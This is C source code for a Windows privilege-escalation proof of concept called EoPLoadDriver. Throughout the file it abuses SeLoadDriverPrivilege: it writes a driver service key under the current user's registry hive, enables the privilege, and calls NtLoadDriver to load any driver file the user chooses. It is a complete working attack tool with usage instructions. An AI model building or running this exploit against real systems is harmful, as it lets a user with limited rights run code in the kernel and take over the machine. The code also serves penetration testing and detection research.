// EoPLoadDriver PoC by Oscar Mallo (Tarlogic) // If you have any suggestion or problem feel free to open an issue :) #include "stdafx.h" #include #include #include #include #include #include #include #define REGISTRY_USER_PREFIX _T("\\Registry\\User\\") #define IMAGE_PATH _T("\\??\\") ULONG LoadDriver(LPWSTR userSid, LPWSTR RegistryPath) { UNICODE_STRING DriverServiceName; NTSTATUS status; typedef NTSTATUS(_stdcall *NT_LOAD_DRIVER)(IN PUNICODE_STRING DriverServiceName); typedef void (WINAPI* RTL_INIT_UNICODE_STRING)(PUNICODE_STRING, PCWSTR); NT_LOAD_DRIVER NtLoadDriver = (NT_LOAD_DRIVER)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtLoadDriver"); RTL_INIT_UNICODE_STRING RtlInitUnicodeString = (RTL_INIT_UNICODE_STRING)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString"); wchar_t registryPath[MAX_PATH]; _snwprintf_s(registryPath, _TRUNCATE, L"%s%s\\%s", REGISTRY_USER_PREFIX, userSid, RegistryPath); wprintf(L"[+] Loading Driver: %s\n", registryPath); RtlInitUnicodeString(&DriverServiceName, registryPath); status = NtLoadDriver(&DriverServiceName); printf("NTSTATUS: %08x, WinError: %d\n", status, GetLastError()); if (!NT_SUCCESS(status)) //return RtlNtStatusToDosError(status); return -1; return 0; } //https://msdn.microsoft.com/en-us/library/windows/desktop/aa446619(v=vs.85).aspx BOOL SetPrivilege( HANDLE hToken, // access token handle LPCTSTR lpszPrivilege, // name of privilege to enable/disable BOOL bEnablePrivilege // to enable or disable privilege ) { TOKEN_PRIVILEGES tp; LUID luid; if (!LookupPrivilegeValue( NULL, // lookup privilege on local system lpszPrivilege, // privilege to lookup &luid)) // receives LUID of privilege { wprintf(L"[-] LookupPrivilegeValue error: %u\n", GetLastError()); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if (bEnablePrivilege) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; // Enable the privilege or disable all privileges. if (!AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { wprintf(L"[-] AdjustTokenPrivileges error: %u\n", GetLastError()); return FALSE; } if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { wprintf(L"[-] The token does not have the specified privilege. \n"); return FALSE; } return TRUE; } ULONG CreateRegistryKey( const LPWSTR RegistryPath, const LPWSTR DriverPath ) { ULONG dwErrorCode; HKEY hKey; DWORD dwDisposition; DWORD dwServiceType = 1; DWORD dwServiceErrorControl = 1; DWORD dwServiceStart = 3; SIZE_T ServiceImagePathSize; wchar_t registryPath[MAX_PATH], serviceImagePath[MAX_PATH]; _snwprintf_s(registryPath, _TRUNCATE, L"%s", RegistryPath); _snwprintf_s(serviceImagePath, _TRUNCATE, L"%s%s", IMAGE_PATH, DriverPath); dwErrorCode = RegCreateKeyExW(HKEY_CURRENT_USER, registryPath, 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition); if (dwDisposition != REG_CREATED_NEW_KEY) { RegCloseKey(hKey); wprintf(L"RegCreateKeyEx failed: 0x%x\n", dwErrorCode); return dwErrorCode; } ServiceImagePathSize = (lstrlenW(serviceImagePath) + 1) * sizeof(WCHAR); dwErrorCode = RegSetValueExW(hKey, L"ImagePath", 0, REG_EXPAND_SZ, (const BYTE *)serviceImagePath, ServiceImagePathSize); if (dwErrorCode) { RegCloseKey(hKey); return dwErrorCode; } dwErrorCode = RegSetValueExW(hKey, L"Type", 0, REG_DWORD, (const BYTE *)&dwServiceType, sizeof(DWORD)); if (dwErrorCode) { RegCloseKey(hKey); return dwErrorCode; } dwErrorCode = RegSetValueExW(hKey, L"ErrorControl", 0, REG_DWORD, (const BYTE *)&dwServiceErrorControl, sizeof(DWORD)); if (dwErrorCode) { RegCloseKey(hKey); return dwErrorCode; } dwErrorCode = RegSetValueExW(hKey, L"Start", 0, REG_DWORD, (const BYTE *)&dwServiceStart, sizeof(DWORD)); RegCloseKey(hKey); return 0; } LPWSTR getUserSid(HANDLE hToken) { // Get the size of the memory buffer needed for the SID //https://social.msdn.microsoft.com/Forums/vstudio/en-US/6b23fff0-773b-4065-bc3f-d88ce6c81eb0/get-user-sid-in-unmanaged-c?forum=vcgeneral //https://msdn.microsoft.com/en-us/library/windows/desktop/aa379554(v=vs.85).aspx DWORD dwBufferSize = 0; if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &dwBufferSize) && (GetLastError() != ERROR_INSUFFICIENT_BUFFER)) { wprintf(L"GetTokenInformation failed, error: %d\n", GetLastError()); return NULL; } //https://social.msdn.microsoft.com/Forums/vstudio/en-US/6b23fff0-773b-4065-bc3f-d88ce6c81eb0/get-user-sid-in-unmanaged-c?forum=vcgeneral PTOKEN_USER pUserToken = (PTOKEN_USER)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, dwBufferSize); if (pUserToken == NULL) { HeapFree(GetProcessHeap(), 0, (LPVOID)pUserToken); return NULL; } // Retrive token info if (!GetTokenInformation( hToken, TokenUser, pUserToken, dwBufferSize, &dwBufferSize)) { GetLastError(); return NULL; } // Check if SID is valid if (!IsValidSid(pUserToken->User.Sid)) { wprintf(L"The owner SID is invalid.\n"); return NULL; } LPWSTR sidString; ConvertSidToStringSidW(pUserToken->User.Sid, &sidString); return sidString; } void printUsage() { wprintf(L"Tarlogic Security\n"); wprintf(L"Usage: EOPLOADDRIVER.exe RegistryServicePath DriverImagePath\n eg: EOPLOADDRIVER.exe System\\CurrentControlSet\\MyService C:\\Users\\Username\\Desktop\\Driver.sys\n"); } int main() { LPWSTR *szArglist; int nArgs; LPWSTR RegistryPath, DriverImagePath; ULONG dwErrorCode; int ret = 0; szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs); if (NULL == szArglist) { printUsage(); return 0; } if (nArgs != 3) { printUsage(); LocalFree(szArglist); return 0; } RegistryPath = szArglist[1]; DriverImagePath = szArglist[2]; // Get Current Process Token HANDLE hToken; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { wprintf(L"[+] OpenProcessToken Failed\n"); goto cleanup; } LPWSTR userSidStr; userSidStr = getUserSid(hToken); if (userSidStr == NULL) { wprintf(L"[+] Error while getting user SID\n"); goto cleanup; } dwErrorCode = CreateRegistryKey((LPWSTR)RegistryPath, DriverImagePath); if (dwErrorCode != 0) { wprintf(L"[-] Error while creating registry keys: error value %d\n", dwErrorCode); goto cleanup; } // Enable Privileges wprintf(L"[+] Enabling SeLoadDriverPrivilege\n"); if (SetPrivilege(hToken, SE_LOAD_DRIVER_NAME, true)) wprintf(L"[+] SeLoadDriverPrivilege Enabled\n"); else { wprintf(L"[-] SeLoadDriverPrivilege Failed\n"); goto cleanup; } ret = LoadDriver(userSidStr, RegistryPath); cleanup: CloseHandle(hToken); hToken = NULL; LocalFree(szArglist); return(ret); }